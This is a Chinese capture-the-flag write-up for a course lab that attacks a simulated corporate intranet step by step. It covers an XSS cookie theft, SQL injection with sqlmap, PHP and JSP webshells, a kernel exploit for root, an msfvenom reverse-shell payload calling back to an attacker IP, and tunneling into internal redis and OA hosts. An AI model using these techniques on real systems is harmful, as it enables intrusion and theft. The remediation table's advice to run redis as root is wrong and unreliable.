JMU-net-security-lesson-design WriteUp
0. 内网信息
主机名(域名) | IP | 端口 |
---|---|---|
www.qianxin.com | 172.10.10.100 | 80 |
news.qianxin.com | 172.10.10.102 | 80 |
blog.qianxin.com | 172.10.10.101 | 80 |
mysql | 192.168.100.40 | 3306 |
redis | 192.168.100.101 | 6379 |
oa-web | 192.168.100.100 | 22、80 |
1. 登录www.qianxin.com后台获取flag1
在kali操作机部署简单的xxs获取服务,在家目录新建一个index.php文件并输入以下内容
1 |
|
使用命令启动PHP 内置服务器
1 | php -S 202.1.1.20:8000 |
在首页,最新新闻的评论区,发现存在xss注入
且赛方提示有管理员bot访问新闻界面
注入以下xss代码
1 | <script> |
获取到bot发送的cookie
修改cookie
访问 www.qianxin.com/admin 得到flag1{498cc55df0c7a39c}
2. 目录遍历漏洞 flag2
赛方提示目录遍历漏洞
在网站后台的模板设置中,发现带参数的GET请求,尝试后发现存在目标遍历漏洞
访问tomcat-users.xml
1 | fire_name=tomcat-users.xml |
登入tomcat管理页面 www.qianxin.com/manager/html ,得到flag2{1595a7d9910930ca}
3. C盘根目录 flag3
在管理页面中,发现存在文件上传
将使用jspspy.jsp木马文件打包成muma.war文件
上传后,访问 www.qianxin.com/muma/jspspy.jsp 密码在jspspy.jsp 文件里
登录后,在C盘根目录找到flag3{e0c34f72c42d6b90}
4. news.qianxin.com/sql/ SQL注入漏洞获取flag4
发现存在sql注入的网站
使用以下命令
1 | sqlmap -u 'http://news.qianxin.com/sql/?id=1' --dbs # 查找后台所有的数据库 |
得到flag4{c261a93b636d1975}
5. 网站后台首页的flag5
1 | sqlmap -u 'http://news.qianxin.com/sql/?id=1' --sql-query='select * from dede_admin' # 查询dede_admin 表中的值 |
对其中的7cd6ef195a0f7622a9c5字段进行md5 解密
得到1q2w3e4r
登录网站后台,得到flag5{b9719d911017c592}
6. news.qianxin.com 的网站配置文件中的flag6
PHP 一句话木马 muma.php如下
1 | eval($_POST[123]) |
打开网站后台的文件式管理器,上传木马文件到根目录
打开菜刀,添加新链接
下载/data/common.inc.php 文件
打开common.inc.php,获得flag6{dd9e7b0c1a6227a2}
7. 服务器/home目录拿到flag7
菜刀打开/home 目录访问,发现flag7文件
下载并打开flag7,拿到flag7{4558894a57d3a6bc}
8. blog.qianxin.com 网站后台,草稿文章中的flag8
打开网站,发现是WordPress建站
使用wpscan进行漏洞扫描
1 | wpscan -u http://blog.qianxin.com -e u --threads 100 # 爆破所有用户 |
使用john账号进行登录,在草稿箱中找到flag8{8ebf5950de08089a}
9. 网站配置文件的flag9
在网站后台,插件-安装插件中直接上传一句话木马muma.php(虽然报错但已经成功上传)
1 | eval($_POST[123]) |
通过dirb的扫描结果,发现有wp-content/uploads 目录,发现上传的木马文件路径在/wp-content/uploads/2023/12/
使用中国菜刀连接,找到网站根目录下的wp-config.php
下载打开文件,得到flag9{9ced34482cf96ced}
10. 数据库flag表中的flag10
在配置文件中,查找到了数据库的账号密码,编辑菜刀连接,使用菜刀的数据库管理
获得flag10{409877992b99dec9}
11. 网站服务器 /root 目录下的flag11
基于webshell,搞出反弹shell
1 | nc -lvvp 2333 # 攻击机 |
使用CVE-2015-1328内核漏洞进行提权
上传exp
编译执行exp,获得root权限
得到flag11{3d0482058402722f}
12. redis服务内网ip地址 flag12
获取MSF会话
用msfvenom 生成木马 (payload)
1 | msf> msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=202.1.1.20 LPORT=3333 -a x86 --platform Linux -f elf > shell.elf # 根据靶机环境决定要用什么类型的payload |
将木马文件上传至http能访问的目录,这里使用CKnife 进行上传
在攻击机的MSF中监听该木马
1 | use exploit/multi/handler |
在反弹shell中给予777权限,并执行该木马
获取成功
设置路由,让MSF能访问内网
根据信息收集,知道三个Web站点的CIDR地址是 172.10.10.0/24;在flag6中,有数据库所在的ip地址的信息
总结出两个内网的CIDR
- 172.10.10.0/24
- 192.168.100.0/24
在msf会话中配置这两个网段的路由
1 | meterpreter > run autoroute -s 172.10.10.0/24 |
使用msf内置的端口扫描模块
1 | use anxiliary/scanner/portscan/tcp |
扫描 172.10.10.0/24 网段的 redis默认 6379 端口,无ip
扫描 192.168.100.0/24 网段的 redis默认 6379 端口,扫出结果
得到redis服务器ip地址 flag12{192.168.100.101}
13. redis 服务所使用的配置文件路径flag13
利用redis未授权访问漏洞,SSH连接服务器(为flag14做准备,flag13不强制)
1 | ssh-keygen -t rsa # 生成SSH公钥密钥 |
Ubuntu获取redis配置文件访问路径
得到flag13{/etc/redis/redis.conf}
14. redis 服务器根目录下的flag14
根据13 获得flag14{24e3f47dead05ce8}
15. redis同网络中的oa-web服务器 admin用户的密码 flag15{密码}
利用reGeorg搭建隧道
桌面找到regeorg文件夹,使用Cknife上传,tunnel_nosocket.php 到能用http访问的目录,这里上传到 /uploads/2023/12
在桌面的regeorg目录 执行reGeorgSocksProxy.py 开启sock5代理,在本机9999端口做转发
vim /etc/proxychains.conf 将sock5 添加到[ProxyList]
下,把 sock4 注释掉
在浏览器配置好sock5代理
扫描同网段下开放的80端口的ip
得到192.168.100.100这个ip,开放了80端口
在终端输入 proxychains bash 即可获得全局代理终端
或使用proxychains + command
使用dirb 扫描后台网站目录,进行信息收集
访问192.168.100.100
查看网页源代码,发现账号admin 密码123456 尝试 无法登录
使用Burpsuite爆破
浏览器设置代理
配置Burpsuite的sock代理
抓包,发到intruder,狙击手,选择password-top1000.txt
开始爆破,发现第22行密码777777之后,返回报文长度发生变化
猜测密码为777777,登录后台,成功
得到flag15{777777}(可提交通过)
漏洞修复意见
漏洞 | 修复意见 |
---|---|
XSS脚本攻击 | 保证用户的输入是合法的,进行合法性检测 |
目录遍历漏洞 | 可以通过检查../来规避 |
SQL注入 | 将拼接SQL改为预编译SQL可有效防止 |
MD5加密的密码被解密 | 加salt的方式来防止逆向MD5 |
任意文件上传漏洞 | 后端检查用户上传的文件类型 |
特定CMS漏洞攻击 | 及时升级CMS或打补丁 |
账号密码可被爆破 | 设置验证码或者强密码 |
redis未授权访问漏洞 | 禁止外部访问Redis服务端口;使用root权限启动redis服务;配置安全组 |
Linux内核漏洞 | 及时升级Linux或打补丁 |
··· | ··· |
PS
反弹shell 稍微升级一下
1 | nc -lvvp 2333 # 攻击机 |
- 在 shell 里输入以下指令,获得完整的shell python -c ‘import pty;pty.spawn(“/bin/bash”)’
- 在 shell 里使用 Ctrl+Z 退出 shell
- 执行命令 stty raw -echo
- 输入 fg 可能会看不到,不用管,输入直接回车就行
- 此时的shell就可以使用方向键了,Ctrl+C 也不会断开了
Proxychains 使用本地工具没作用
1 | source /etc/profile # 执行以下这个命令,再试试 |